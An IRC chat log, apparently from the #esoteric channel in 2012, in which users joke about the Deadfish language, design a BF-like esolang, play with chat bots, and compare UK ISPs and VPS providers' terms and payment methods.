22:18:34 <ais523> something like "Deadfish is a language originally created as a joke, featuring an internal state of only one integer, that can be decremented, incremented, squared or output. Although incrementing 255 produces 0, higher integers can be produced via squaring. The language became strangely popular, with a large range of interpreters for it written in a range of languages, perhaps due to its simplicity."
22:18:40 <oerjan> oh, it's a norwegian encyclopedia
22:18:48 <ais523> see, now you'll have to write a better blurb than that
22:18:54 <ais523> or otherwise you'll have to use mine, and that'd be terrible
22:18:58 * oerjan has an old paper version stored away
22:19:03 <shachaf> Norcyclopedia.
22:19:42 <elliott> oerjan: ic, apparently it is fudding against wikipedia (im reading no.wikipedia's village pump for some reason)
22:19:46 <elliott> ais523: boooooooooooring
22:20:18 <oerjan> elliott: well yes it's been in trouble for a while
22:21:28 <oerjan> While no one was looking, Jonathan Todd Skinner invented Deadfish. Deadfish can increment 40 times. That's as many as four tens. And that's terrible.
22:22:40 <shachaf> Deadfish can increment 255 times. That's as many as 255 1s.
22:22:45 <oerjan> It can also square, decrement and print. It's catchphrase is "IMPLEMENTATIONS, IMPLEMENTATIONS, IMPLEMENTATIONS".
22:22:48 <oerjan> shachaf: ooh, better.
22:22:57 <oerjan> *Its
22:23:04 <ais523> fifteen seventeens?
22:23:22 <shachaf> *Someone* in this channel isn't too lazy to factor numbers.
22:23:33 <shachaf> Or maybe he is too lazy, and just named two random numbers that sound approximately right.
22:23:36 <shachaf> I'm too lazy to check.
22:24:00 <oerjan> !perl print 15*17;
22:24:03 <EgoBot> 255
22:24:22 <shachaf> Wow, what a scam.
22:24:26 * Sgeo hugs poor lambdabot
22:24:29 <Sgeo> > 15 * 17
22:24:31 <shachaf> It says it's not perl, but then runs Perl.
22:24:43 <shachaf> Sgeo: You monster. :-(
22:24:47 <Sgeo> ....because lambdabot isn't here
22:24:52 <Sgeo> Did elliott crash lambdabot?
22:25:05 <elliott> no
22:25:07 <elliott> it pinged out
22:25:09 <shachaf> <elliott> /msg lambdabot @quit
22:25:23 <shachaf> I tried to stop him!
22:25:26 <elliott> but as shachaf astutely points out I don't need to crash lambdabot to make it go away
22:25:30 <elliott> i didn't actually do that though
22:25:47 <shachaf> elliott: I'm pretty sure @quit counts as crashing.
22:25:50 <shachaf> It's premature terminating.
22:25:56 <shachaf> I'm premature grammaring.
22:26:13 <oerjan> Deadfish is a very environmentally friendly language, if you like bad smell.
22:26:17 <elliott> Are you saying you're one of those anti-abortion activists?
22:27:13 <oerjan> Deadfish is the evil mutated offspring of HQ9+.
22:29:12 <elliott> "Geany is the best open source tool for programmers. But not available for mac." -- answer to question "Mac text/code editor"
22:29:27 <oerjan> A truly compliant Deadfish implementation cannot be aborted.
22:30:47 <Sgeo> Grah
22:30:50 <oerjan> The definition of an esolang is a language in which implementing Deadfish is at least somewhat tricky.
22:31:05 <Sgeo> Trying to convince myself that Home Row is TC. I mean, it looks it, looks similar enough to BF, but
22:31:06 -!- pikhq has joined.
22:31:19 <Sgeo> I see a trivial way to translate to BF but that's the wrong direction
22:31:24 <elliott> Sgeo: no nested loops
22:31:28 <Sgeo> ...oh
22:31:32 <elliott> however
22:31:38 <elliott> j might be able to interact with l in a way to produce "overlapping" loops
22:31:44 <elliott> jl....l.....l or something
22:31:46 <elliott> but...
22:31:49 -!- pikhq_ has quit (Ping timeout: 272 seconds).
22:31:52 <elliott> idk
22:32:02 <ais523> ooh, now I have an idea for an esolang
22:32:11 -!- oerjan has quit (Quit: Good night).
22:32:22 <ais523> tape-based, with < > + - from BF, and a "jump to start if nonzero" for program control
22:32:32 <ais523> the interesting thing would be computational class
22:32:52 <Sgeo> Why does this sound vaguely familiar?
22:32:56 <elliott> IIRC, [prog] is enough for TCness
22:33:01 <elliott> wait, no
22:33:09 <elliott> [prog] with some additional instruction in prog is enough or something
22:34:35 <elliott> ais523: anyway, that's not enough, I don't think
22:34:40 <elliott> hmm...
22:34:45 <elliott> xJy is [x]y
22:34:47 <elliott> erm
22:34:50 <elliott> xJy is x[x]y
22:34:56 <elliott> ais523: I don't think there's any way to meaningfully skip code
22:35:07 <ais523> elliott: exactly, that's the whole point
22:35:11 <ais523> you have to undo it instead
22:35:12 <elliott> all you can do is go back to the start, which basically means that at the first "branching" point, you're stuck
22:35:16 <ais523> < > + - are all reversible
22:35:20 <elliott> hmm...
22:35:39 <elliott> OK, put this on the wiki, it's great
22:35:46 <ais523> there'd be a trivial translation from BF if "jump to start if nonzero" were reversible, but it isn't
22:35:56 <ais523> which is the sticking point
22:36:06 <elliott> I'd guess sub-TC
22:36:13 <elliott> but I have no proof
22:36:19 <elliott> if only oerjan was here
22:36:20 <ais523> I shall call it Homing Pigeon
22:36:28 <ais523> unless someone tells me that that's a stupid name
22:36:30 <ais523> and probably even then
22:36:36 <elliott> it's a stupid name
22:36:50 <elliott> ais523: you should call it brainfuck
22:36:51 <shachaf> elliott: Have you ever considered saying something that isn't cheap snark?
22:36:52 <elliott> *Brainfuck
22:36:57 <elliott> whichever one you were planning on
22:37:05 <ais523> oh, right
22:37:14 <ais523> I was going to make that one have the same commands as bf, though
22:37:24 <elliott> yes, but that'll be less confusing
22:37:26 <elliott> since nobody will talk about it
22:37:36 <elliott> (if you go with that name, put it at [[Brainfuck (ais523)]], obviously)
22:37:48 <ais523> I was going to put it at [[Brainfuck (capital B)]]
22:37:56 <shachaf> You should call it Elliott.
22:38:02 <shachaf> Is there a langauge called Elliott?
22:38:05 <elliott> ais523: but we have precedent for [[Language (author)]]!
22:38:11 <ais523> shachaf: there's Elliottcraft
22:38:15 <ais523> elliott: but the name isn't the same
22:38:18 <shachaf> ais523: Haven't Hird of it.
22:38:20 <ais523> just the software can't tell them apart
22:38:30 <ais523> shachaf: it's a three-dimensional bully automaton
22:38:36 <elliott> ais523: how do you know Clue's and Clue's names are the same?
22:38:37 <ais523> with somewhat complex semantics
22:38:49 <ais523> I'm not sure it's possible to implement efficiently, sadly
22:39:25 <ais523> elliott: and string comparison
22:39:26 <elliott> I suppose you can call it Homing Pigeon if you want, but how many BF derivatives can you expect to make in one life, really?
22:39:38 <ais523> I've already made two!
22:39:39 <elliott> ais523: that's as biased as MediaWiki title comparison!
22:39:46 <shachaf> I have an exciting idea for a BF derivative.
22:39:49 <ais523> (reversible BF, and DoFucK)
22:39:50 <ais523> *DoFuck
22:39:54 <shachaf> "elliott" means -
22:39:58 <shachaf> "ais523" means >
22:40:04 <shachaf> "oerjan" means [
22:40:13 <elliott> ais523: what about Norfuck?
22:40:15 <elliott> or is that not a BF derivative?
22:40:16 <shachaf> "olsner" means <
22:40:25 <elliott> ais523: also, kick shachaf before he completes
22:40:29 <elliott> it's for his own brickbrain protection
22:40:31 <shachaf> "shachaf" means ]
22:40:36 <elliott> there's not much time! hurry!
22:40:43 <shachaf> "monqy" means +
22:40:45 <elliott> HURRY
22:40:46 <ais523> but PH isn't here
22:40:47 <shachaf> "zzo38" means !
22:40:50 <elliott> ais523: HE'LL SEE THE LOGS
22:41:00 <shachaf> Wait, I forgot about input and output.
22:41:03 <elliott> QUICK!!!!
22:41:09 <shachaf> "Phantom_Hoover" means .
22:41:15 <elliott> !!!!
22:41:17 <shachaf> "pikhq_" means ,
22:41:29 <shachaf> "fungot" means ?
22:41:29 <fungot> shachaf: faint remnant must still lurk down there in the ancient partitions were the worst. i tried fnord but the constant ravings of the two rooms or the hall below me.
22:41:29 <elliott> ais523: I'm pretty sure that counts as being complicit to murder
22:41:53 <ais523> BF has a ? command?
22:41:58 <shachaf> #esoteric logs are now a BF derivative.
22:42:06 <shachaf> ais523: Yes.
22:42:12 <shachaf> It's a nop.
22:42:13 <elliott> ^style
22:42:13 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft* nethack pa qwantz sms speeches ss wp youtube
22:42:17 <elliott> knew it
22:42:27 <shachaf> ^style nethack
22:42:28 <fungot> Selected style: nethack (NetHack 3.4.3 data.base, rumors.tru, rumors.fal)
22:42:30 <shachaf> fungot feels lucky
22:42:38 <ais523> fungot?
22:42:38 <fungot> ais523: they say that the only heavenly body to influence this game." " my dear chap, right on time! we'll just have lunch, and, flinging it away, crying out for grid bugs only exist in a little while even more powerful of all nations, by michael capuzzo)
22:44:24 <elliott> ^style qwantz
22:44:24 <fungot> Selected style: qwantz (Dinosaur Comics transcriptions 2003-2011)
22:44:28 <elliott> fungot: proselylteitse
22:44:29 <fungot> elliott: and i think to myself: this is a black market, t-rex? there are already a lot, but they're always a good time, because he is! that's why it is such a good joke! you are using the wrong words. i counted myself among the most un-satisfying i'd ever tell him that, of all places, t-rex, but t-rex explained how the bank that only i don't wear pants, so he put it on his stove and heated it, and it got great names for everyon
22:48:54 -!- zzo38 has joined.
22:49:18 <elliott> hello zzo38
22:49:21 <zzo38> Now I have sent package http://hackage.haskell.org/package/dvi-processing-0.1 on Haskell you can please make DVI programming too.
22:49:23 <elliott> ais523: what's the best UK ISP? have I asked you that yet?
22:49:35 <ais523> I don't think you have
22:49:43 <ais523> but from people I've seen talk about it, there are exactly two good ones
22:49:44 <shachaf> zzo38: Can I please make DVI programming too?
22:49:47 <ais523> sadly I can't remember which, though
22:49:58 <zzo38> shachaf: Do you have Haskell? If so, then you can try to do so.
22:50:11 <shachaf> zzo38: Can I use lambdabot?
22:50:18 <elliott> ais523: is one of them Andrews & Arnold (AAISP)?
22:50:30 <zzo38> shachaf: Not for this purpose; lambdabot does not have this package, as far as I know
22:50:36 <ais523> I don't know
22:50:43 <ais523> I don't think I've heard of it, so possibly no?
22:50:43 <shachaf> zzo38: What's the best UK ISP?
22:50:48 <ais523> but I'm really not confident in that answer
22:50:54 <shachaf> zzo38: What if I don't have Haskell? All I have is GHC.
22:51:16 <zzo38> shachaf: GHC is OK; it works with GHC.
22:51:25 <ais523> btw, I can tell you that Virgin Media's reputation is pretty accurate; fast and good for the typical customer's needs (i.e. Windows, IPv4, no inbound traffic…) when it's working, and reasonably incompetent at fixing it when it goes wrong
22:51:26 <zzo38> And I don't know what is best UK ISP; I do not live in UK.
22:51:34 -!- zzo38 has quit (Quit: 42).
22:51:35 <shachaf> zzo38: Isn't Canada the UK?
22:51:37 <ais523> oh, and ja.net is amazing as usual, but is not a consumer ISP
22:51:40 <shachaf> oops
22:51:41 <elliott> ais523: Don't Virgin shape torrent traffic?
22:52:07 <ais523> elliott: quite possibly
22:52:10 <elliott> ais523: hmm, is the fact that www.ja.net prompts me before giving me a cookie your fault?
22:52:14 <ais523> it doesn't seem to mind multi-gigabyte downloads, though
22:52:22 <elliott> also, Virgin Media aren't really an option for me, we don't get cable
22:52:27 <ais523> and maybe not my fault specifically, but the fault of thousands like me
22:52:32 <elliott> and their DSL services are... not competitive (and apparently crap)
22:52:38 <elliott> ais523: there aren't thousands of people like you
22:52:52 <ais523> in that respect, at least ;)
22:53:31 <elliott> ais523: well, do any of Sky, AAISP, Zen and XILO (Uno) ring bells? :P
22:53:39 <elliott> (if Sky doesn't, I'm going to ask you what rock you live under)
22:53:45 <shachaf> Sky!
22:53:49 <shachaf> I know that thing.
22:53:49 <ais523> not in that respect; I'm aware of Sky, but didn't know they did internet
22:53:52 <ais523> although it's not surprising
22:53:57 <elliott> ais523: oh, I suspect one of the ones you counted as good were probably Be
22:53:59 <shachaf> The Sky is Blue.
22:54:02 <elliott> who aren't available here, annoyingly
22:54:05 <ais523> perhaps
22:54:12 <shachaf> The Sky is Blue in California.
22:54:14 <ais523> this was secondhand information in the first place
22:54:16 <ais523> and I can't rememebr it
22:54:17 <shachaf> It's probably Grey in UKia.
22:54:20 <ais523> hmm, were 1&1 the others?
22:54:22 <shachaf> Or maybe it's Gray.
22:54:25 <elliott> the only reason I'm considering Sky is because (a) it's really cheap if you have Sky TV (7.50 pounds/mo), and (b) they don't shape or throttle traffic
22:54:38 <elliott> the other ISPs are all rather less commercial
22:54:41 <ais523> if it's that cheap, it's worth trying it and seeing what went wrong
22:54:46 <ais523> do you have Sky TV?
22:54:48 <elliott> ais523: 12 month contract
22:54:50 <elliott> and yes
22:55:02 <shachaf> 7.50 pounds/mo?
22:55:02 <ais523> 12 * 7.50 is £90
22:55:04 <elliott> do 1&1 even do internet access?
22:55:08 <ais523> yes
22:55:09 <shachaf> That's, like, $2, right?
22:55:20 <ais523> shachaf: more like $15
22:55:25 <ais523> per month
22:55:25 <elliott> ais523: well, OK, 90 pounds is reasonable, but they do local-loop unbundling
22:55:36 <shachaf> ais523: Every month?
22:55:41 <elliott> ais523: which means it'll cost $more to move off it to a non-LLU service
22:55:46 <elliott> (like most of the other options i'm considering)
22:55:58 <elliott> I think it's the cost of setting up a new BT line again, or something, like 90 pounds again or something, but I don't really know
22:56:14 <ais523> ah, OK
22:56:15 <shachaf> @google 7.50 pounds in dollars
22:56:17 -!- lambdabot has joined.
22:56:22 <ais523> wait what?
22:56:23 <lambdabot> $2/month
22:56:25 -!- lambdabot has quit (Client Quit).
22:56:26 <ais523> (wrt shachaf and lambdabot)
22:56:33 <ais523> oh, that's not lambdabot
22:56:35 <ais523> it's shachaf pretending
22:56:43 <shachaf> SAYS WHO
22:57:07 <elliott> ais523: I don't believe you about 1&1
22:57:22 <ais523> elliott: I may be misremembering
22:57:26 <ais523> so not believing me is a good option
22:57:30 <elliott> I can't find anything on their website about it, at least :)
22:57:55 <ais523> about what?
22:58:00 <elliott> offering internet access
22:58:08 -!- kappabot has joined.
22:58:10 <ais523> I went to http://1and1.co.uk
22:58:16 <ais523> and the title was "1&1 Internet"
22:58:16 <shachaf> > 1 + 1
22:58:19 <kappabot> 2
22:58:23 <shachaf> @google norway
22:58:27 <kappabot> http://www.norway.org/
22:58:27 <kappabot> Title: Norway - the official site in the United States
22:58:30 <shachaf> @google what is norway, really?
22:58:33 <kappabot> http://www.dailymail.co.uk/debate/columnists/article-185956/So-Norway-rich.html
22:58:34 <kappabot> Title: So why is Norway rich? | Mail Online
22:58:35 <ais523> but right, they seem to do serving rather than ISP stuff
22:58:45 <elliott> ais523: I would just go with AAISP (static IP, native IPv6, good pricing, very tech-savvy), but their usage pricing is annoying (one unit is 50 gigabytes offpeak, but only 2.5 gigabytes peak (9am-6pm mon-fri))
22:59:07 <elliott> (you purchase usage in "units")
22:59:09 <ais523> that's a weird peak time for home internet
22:59:14 <elliott> that might be reasonable, if I had a reasonable sleep schedule
22:59:19 <ais523> I'd have assumed that people would be at work then
22:59:24 <ais523> and thus not using the internet at home
22:59:27 <elliott> but since I don't, there's no guarantee I won't be downloading tons peaktime and not at all offpeak
22:59:46 <elliott> ais523: I think that's why you get much less bandwidth then
22:59:48 <ais523> do you go to school, btw?
22:59:53 <elliott> admittedly, it makes the "peak" nomenclature strange
23:00:31 <elliott> ais523: "I don't do drugs. I am drugs." --Salvador da Vinci
23:00:49 <elliott> --Mark Twain
23:00:52 <elliott> --elliott
23:02:04 <shachaf> "I don't do school. I am school."
23:02:06 <shachaf> --elliott
23:02:15 <elliott> Exactly! I am school.
23:02:32 <shachaf> Do school, kids. Unless you want to end up like elliott.
23:03:05 <elliott> Also, stay in drugs.
23:03:55 <elliott> shachaf: kappabot is you, right?
23:04:00 <elliott> @admin + elliott
23:04:00 <kappabot> Not enough privileges
23:04:05 <elliott> I don't like kappabot.
23:04:11 <shachaf> @admin + elliott
23:04:11 -!- monqy has joined.
23:04:11 <elliott> @quit
23:04:11 -!- kappabot has quit (Quit: requested).
23:04:14 <elliott> ...
23:04:16 <elliott> That was too perfect.
23:04:42 <monqy> hi
23:04:55 -!- kappabot has joined.
23:05:09 <elliott> shachaf: By the way, I sent that right before your adminning arrived on my screen.
23:05:15 <shachaf> I'm sure.
23:05:42 <shachaf> Thank you for depriving Freenode of valuable I Can't Believe It's Not Lambdabot(R) services
23:05:46 <shachaf> @join #haskell
23:06:11 <ais523> whose bot is kappabot?
23:06:22 <shachaf> kappabot is a free bot
23:06:37 <shachaf> A free bot over an endofunctorgroupset.
23:06:41 <elliott> @part #esoteric
23:06:42 <kappabot> Not enough privileges
23:06:45 <elliott> Can you make me a kappabot admin?
23:06:58 <shachaf> @ignore + elliott
23:07:01 <shachaf> @admin + elliott
23:07:04 <elliott> @ignore - elliott
23:07:07 <elliott> > 2+2
23:07:08 <kappabot> 4
23:07:09 <elliott> :(
23:07:10 <elliott> :D
23:07:12 <elliott> @admin - shachaf
23:07:16 <elliott> @admin + shachaf
23:07:18 <elliott> See, diplomacy.
23:07:20 <shachaf> @admin - elliott
23:07:22 <elliott> No!
23:07:24 <shachaf> @ignore - elliott
23:07:25 <monqy> > hi
23:07:26 <elliott> The fall of diplomacy!
23:07:26 <kappabot> Not in scope: `hi'
23:07:29 <monqy> kappabot: hoi
23:07:32 <monqy> kappabot: hi
23:07:43 <kappabot> hi monqy
23:07:50 <monqy> what does kappabot do
23:07:52 -!- Jafet has joined.
23:07:59 <kappabot> monqy: you're my favourite monqy
23:08:05 <monqy> mine too
23:08:38 <elliott> maybe I'll convince aaisp to offer me units that don't vary according to time
23:08:43 <shachaf> elliott: OK, I'm making you an admin so you can tell kappabot to @part when Cale comes back.
23:08:48 <elliott> shachaf: Thanks.
23:08:50 <shachaf> @admin + elliott
23:08:56 -!- Jafet1 has joined.
23:08:56 <shachaf> You have responsibility now.
23:09:13 <shachaf> @help offline
23:09:18 <kappabot> offline. Start a repl
23:09:22 <shachaf> @offline
23:09:27 <elliott> @online
23:09:42 <shachaf> I think it gets corrected to @offline.
23:10:00 <elliott> No, it only does edit distance of 1.
23:10:07 <shachaf> No, it does 2.
23:10:13 <elliott> @tuma
23:10:16 <shachaf> Don't you know your lambdabotology?
23:10:18 <elliott> Oh.
23:10:34 <kappabot> Local time for elliott is Tue Apr 3 00:10:13
23:10:38 <elliott> By the way, if it's going a little slow, it's because I did @listall.
23:10:54 <shachaf> @tuna
23:10:55 <kappabot> not an expression: `'
23:11:09 <elliott> You can tune a fs, but you can't...
23:11:47 <elliott> shachaf: How come kappabot has a gazillion notices stored?
23:12:19 -!- Jafet has quit (Ping timeout: 245 seconds).
23:13:10 <shachaf> elliott: Can I commission a portrait from you? I want it to be titled "shachaf, paraphrased"
23:13:59 <elliott> ais523: What's the worst UK ISP?
23:14:00 <elliott> shachaf: OK.
23:14:13 <shachaf> elliott: I look like this:
23:14:20 <ais523> elliott: hmm, I'd guess someone like BT, but I don't know
23:14:51 <shachaf> http://slbkbs.org/sb/1.png
23:15:37 <elliott> You're ugly.
23:16:15 <shachaf> monqy: "monqy: You're ugly." -- elliott
23:16:56 <monqy> oh no
23:17:12 <shachaf> @slap elliott
23:17:12 * kappabot puts on her slapping gloves, and slaps elliott
23:18:32 <shachaf> - - [02/Apr/2012:16:14:58 -0700] "GET /sb/1.png HTTP/1.1" 200 136338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.142 Safari/535.19"
23:18:37 <shachaf> - - [02/Apr/2012:16:15:09 -0700] "GET /sb/ HTTP/1.1" 403 198 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.142 Safari/535.19"
23:18:42 <shachaf> - - [02/Apr/2012:16:15:11 -0700] "GET / HTTP/1.1" 200 437 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.142 Safari/535.19"
23:18:48 <shachaf> Stop poking around my website, elliott.
23:19:23 <elliott> No.
23:20:07 <shachaf> elliott: Did you know your compute is broadcasting its IP address to every website that you connect to on the Internet?!
23:20:17 <shachaf> Install Bonzi Firewall today!
23:22:37 <elliott> shachaf: http://ompldr.org/vZDhvaA/shachef.png
23:23:03 <shachaf> yay
23:23:03 <elliott> Wait, I forgot a background.
23:23:10 <shachaf> elliott++
23:23:14 <shachaf> Delicious kappabot karma.
23:23:24 <monqy> @karma elliott
23:23:24 <kappabot> elliott has a karma of 1
23:23:28 <monqy> applause
23:23:39 <shachaf> @karma
23:23:40 <kappabot> You have a karma of 0
23:23:44 <monqy> @karma kappabot
23:23:45 <kappabot> kappabot has a karma of 0
23:23:53 <monqy> does elliott have the most karma of anyone
23:24:00 <ais523> bleh, had to kill firefox
23:24:14 <monqy> @karma c
23:24:15 <kappabot> c has a karma of 3
23:24:17 <ais523> website opened around 100 cookie-confirm dialog boxes, and they're all modal, and I couldn't figure out which was the most recent
23:26:55 <shachaf> @karma pmichaud
23:26:55 <kappabot> pmichaud has a karma of 1017
23:27:16 <shachaf> pmichaud++ # so many karmas
23:27:24 <shachaf> @karma lwall
23:27:24 <kappabot> lwall has a karma of 530
23:27:34 <shachaf> lwall++ # perl
23:27:49 <elliott> shachaf: Almost done!
23:29:05 <ais523> is kappabot using the same karma database as lambdabot? or does it monitor for karma changes in the same channels?
23:29:22 <shachaf> @which channels are you in kappabot
23:29:22 <kappabot> Unknown command, try @list
23:29:43 <shachaf> @misochans
23:29:43 <kappabot> #esoteric #haskell #stackoverflow weird#
23:29:57 <shachaf> @leave #stackoverflow
23:30:53 <elliott> @join #haskell-blah
23:30:55 <elliott> :')
23:31:04 <shachaf> elliott: Put on your typeglasses.
23:31:35 <Sgeo> What's the weird# thing
23:31:46 <elliott> @part weird#
23:31:49 <elliott> @misochans
23:31:50 <kappabot> #esoteric #haskell #haskell-blah weird#
23:31:51 <shachaf> It's weird#, right?
23:31:56 <elliott> unsafePerformWeird#
23:32:03 <Sgeo> Some Unicode trick?
23:32:10 <elliott> No, it's just weird#.
23:32:19 <shachaf> elliott: I *believe* the correct spelling is "paraphrozen".
23:32:29 <shachaf> "paraphrosen" in the UK, I guess.
23:32:37 <shachaf> Do you have freesers in the UK which freese things?
23:33:26 <elliott> Have I mentioned the GIMP is nearly impossible to use?
23:33:58 <elliott> who here thinks that haskell is one of the best languages. I do have one problem, it is not good for game development . do any of you know what the best language is other than c++
23:34:00 <shachaf> elliott: 16:32 < johannes__> who here thinks that haskell is one of the best languages. I do have one problem, it is not good for game development . do any of you know what the best language is other than c++
23:34:04 * shachaf curses.
23:34:05 <elliott> @slap shachaf
23:34:05 <kappabot> Come on, let's all slap shachaf
23:34:19 <elliott> @join shachaf
23:34:43 <shachaf> join shachaf x = shachaf (shachaf x)
23:35:11 <shachaf> elliott: Is that portrait finished yet?
23:35:57 <elliott> Almost.
23:36:02 <elliott> <johannes__> okay so i should use javanese. Can you give me a bit of code
23:38:34 <elliott> Gah, I've completely forgotten how to do this.
23:39:32 <Sgeo> I'm going to regret becoming involved
23:40:58 <elliott> shachaf: http://ompldr.org/vZDhvag/shachef.png
23:43:31 <elliott> shachaf: I apologise.
23:43:33 <elliott> @admin - elliott
23:44:19 <shachaf> yay
23:44:27 <elliott> (That was for <kappabot> http://i.imgur.com/ZUTx3.png.)
23:44:31 <elliott> (In case you didn't notice.)
23:44:55 <ais523> bleh, Linode has at least two highly objectionable terms in its ToS
23:45:05 <ais523> what other VPS people should I look at?
23:45:09 <RocketJSquirrel> prgmr
23:45:10 <elliott> ais523: prgmr?
23:45:13 <ais523> oh, and one in their privacy policy too
23:45:17 * ais523 looks at prgmr
23:45:23 <elliott> The VPSes suck, though. :p
23:45:35 <RocketJSquirrel> prgmr is very "we're just some nerds nerdin' up a VPS"
23:45:35 <shachaf> elliott: ...Oh.
23:45:36 <elliott> ais523: Imagine all the objectionable terms you've agreed to *without* reading them!
23:45:49 -!- kappabot has quit (Quit: requested).
23:45:50 <elliott> * lambdabot (~lambdabot@li85-105.members.linode.com) has joined #haskell
23:45:57 <elliott> I regain power just as soon as I lose it!
23:46:14 <shachaf> <elliott> I regain powder just as soon as I lose it!
23:46:49 <elliott> I wonder if @quit + lambdabot typo-correction has ever lead to any accidents.
23:46:52 -!- Patashu has joined.
23:47:05 <ais523> oh, prgmr's are much better
23:47:14 <ais523> I wonder if anyone's ever chosen a VPS provider based on their ToS before?
23:47:18 <elliott> shachaf: You never thanked me for my finished portrait. :(
23:47:21 <shachaf> elliott: GUESS HOW MAN BANDWIDTHS I'M GETTING
23:47:24 <elliott> ais523: Stupid people, assuredly.
23:47:28 <shachaf> elliott: THANKS!
23:47:34 <elliott> shachaf: I don't need to hear about your "man bandwidth", sinner.
23:47:38 <shachaf> FOR THE FINISHED PORTRAIT
23:47:39 <elliott> Mandwidth.
23:47:42 <shachaf> elliott: GUESS HOW MANY BANDWIDTHS I'M GETTING
23:47:43 <elliott> YOU'RE WELCOME.
23:47:48 <elliott> How many?
23:48:06 <shachaf> 2.5M/s
23:48:20 <shachaf> It doesn't say M what, though. Megamicrobytes?
23:48:53 <elliott> Is that in megabits?
23:49:03 <shachaf> ytes
23:49:07 -!- lambdabot has joined.
23:49:07 <ais523> one thing that's really noticeable: linode give a lot more bandwidth relative to memory than prgmr do, who give a lot more memory relative to bandwidth
23:49:08 <elliott> Seriously?
23:49:23 <shachaf> Length: 1332645499 (1.2G), 1330483498 (1.2G) remaining
23:49:27 <elliott> ais523: What were the objectionable terms, out of intense self-hatred?
23:49:31 <RocketJSquirrel> ais523: I'm faaaaaaaaaairly certain that prgmr doesn't actually meter bandwidth, they just have a number to throw around if they need to.
23:49:52 <shachaf> elliott: That's on the computer I'm using right now, by the way, not a VPS thing.
23:50:02 <ais523> elliott: indemnification; ability to change ToS at any time without warning; and keeping credit card numbers on file
23:50:07 <elliott> shachaf: Are you sure you mean megabits and not megabytes?
23:50:29 <elliott> ais523: I would expect that to be standard; standard; irrelevant
23:50:39 <elliott> The credit card system has no security.
23:50:48 <ais523> whereas prgmr just have a change at any time on the AUP, which is not quite as bad as changing it to something ridiculous would merely allow them to terminate the account, which they can do anyway
23:50:58 <ais523> elliott: but the problem is that if they have my CC number, they can charge me money without my explicit permission
23:51:13 <ais523> I'm not a fan of standing orders
23:51:27 <elliott> ais523: Yes. So can every single entity you have ever purchased anything with your credit card from.
23:51:31 <ais523> and even if indemnification is standard, it's ridiculous
23:51:35 <ais523> elliott: not legally
23:51:46 <elliott> So?
23:52:00 <elliott> ais523: Anyway, there's a specific page to give them money.
23:52:01 <ais523> elliott: I'm not a fan of having to opt-out to paying someone money, rather than opting in
23:52:05 <elliott> Just pay in batch and they won't charge you.
23:52:22 <elliott> (As in, you can pay them $200 and they won't charge you for 10 months.)
23:52:33 <elliott> ais523: Besides, with prgmr you'll have to use PayPal.
23:52:36 <elliott> I'm sure you have moral objections to that.
23:52:46 -!- Jafet1 has changed nick to Jafet.
23:52:51 <ais523> seriously? how ridiculous
23:53:04 <ais523> you're right
23:53:15 <elliott> Have you considered retreating into a cave and never doing anything ever again?
23:53:24 <ais523> time to look for someone else, I guess
23:53:33 <Jafet> Moral objections to paypal should not override pragmatic objections to the credit card verification system
23:53:49 <elliott> ais523 has no practical objections, only an infinite supply of moral objections.
23:53:55 * Jafet throws bitcoins in the air, metaphorically.
23:53:58 <ais523> Jafet: there are pragmatic objections to paypal too, such as the fact that they've closed accounts in the past without refunding the money in them
23:54:39 <Jafet> It's okay, they are a formally audited international banking sys... oh wait.
23:55:24 <elliott> ais523: By the way, there is not a single VPS provider on the planet who will both promise not to store your credit card, and not outsource their payments to asystem which won't promise not to store your credit card.
23:55:42 <elliott> ais523: Also, what are you talking about, "not legally"? You don't give Linode the right to charge you $3489394834 by giving them your credit card.
23:55:45 <shachaf> hi ais523
23:55:51 <shachaf> buy your vpses cheap from shachafvps
23:55:51 <elliott> So your objection to them being able to charge you money without your permission is nonsense.
23:55:56 <ais523> I don't mind if they outsource it, if the outsourced company doesn't allow them to charge to the credit card
23:56:03 <shachaf> i promise i won't store your credit card
23:56:04 <ais523> elliott: well, I'm giving them permission by signing up
23:56:14 <ais523> shachaf: do you run a VPS company?
23:56:26 <shachaf> ais523: very good cheap vps
23:56:36 <elliott> ais523: Yes, you're giving them permission to charge you $N/month.
23:56:45 <ais523> yep
23:56:55 <elliott> So, you are not giving Linode the ability to charge you money without your explicit permission any more than you do when buying anything with a credit card ever.
23:56:58 <ais523> I'm the sort of person who'd prefer the server to go down if I don't pay, rather than them charging me more money
23:57:03 <elliott> And, as I said, <elliott> (As in, you can pay them $200 and they won't charge you for 10 months.)
23:57:09 <RocketJSquirrel> There's always 365ezone 8-D
23:57:40 <ais523> elliott: but they'll charge me /after/ 10 months
23:57:51 <ais523> I think you're missing the point here
23:58:05 <elliott> ais523: Not if you pay them again within 10 months, or cancel your account.
23:58:15 <elliott> Are you planning to die in the next 10 months?
23:58:35 <ais523> no
23:58:50 <ais523> but the point is, /it requires explicit action from me to stop them charging me again/
23:58:58 <shachaf> elliott: I think you're missing ais523's point here.
23:58:58 <ais523> thus, /they are charging me money and it's opt-out not opt-in/
23:59:12 -!- Jafet has quit (Ping timeout: 265 seconds).
23:59:12 <elliott> I understand ais523's point perfectly. It's stupid.
23:59:22 <RocketJSquirrel> elliott: Can you back up my glowing recommendation of 365ezone?
23:59:24 <elliott> It's stupid even by ais523's standards.
23:59:31 <RocketJSquirrel> I mean, have you ever seen glogbackup go down?
23:59:48 <elliott> RocketJSquirrel: Yes.
00:00:02 <RocketJSquirrel> elliott: LYING SCOUNDREL
00:03:37 <elliott> ais523: By the way, PayPal works without an account.
00:03:44 <elliott> But I bet they still won't promise to not keep your credit card on file.
00:09:07 <RocketJSquirrel> prgmr also offers prepaid cards at conventions, so you could just road-trip 'round from convention to convention buying cards from 'em :)
00:09:40 -!- NihilistDandy has joined.
00:10:18 <ais523> a silly plan that could work, would be to find a UK-based provider, then get a new debit card, and then FOIA away the old one from their files
00:10:25 <ais523> although that's a nomic-scam-level of legal silliness
00:11:12 <elliott> RocketJSquirrel: I'm sure ais523 has a moral objection to roads. Or conventions.
00:11:14 <elliott> Or cards.
00:11:21 <elliott> Or offerings.
00:11:22 <RocketJSquirrel> Or paying.
00:11:54 <ais523> elliott: well, I found a VPS that allows you to pay by cheque
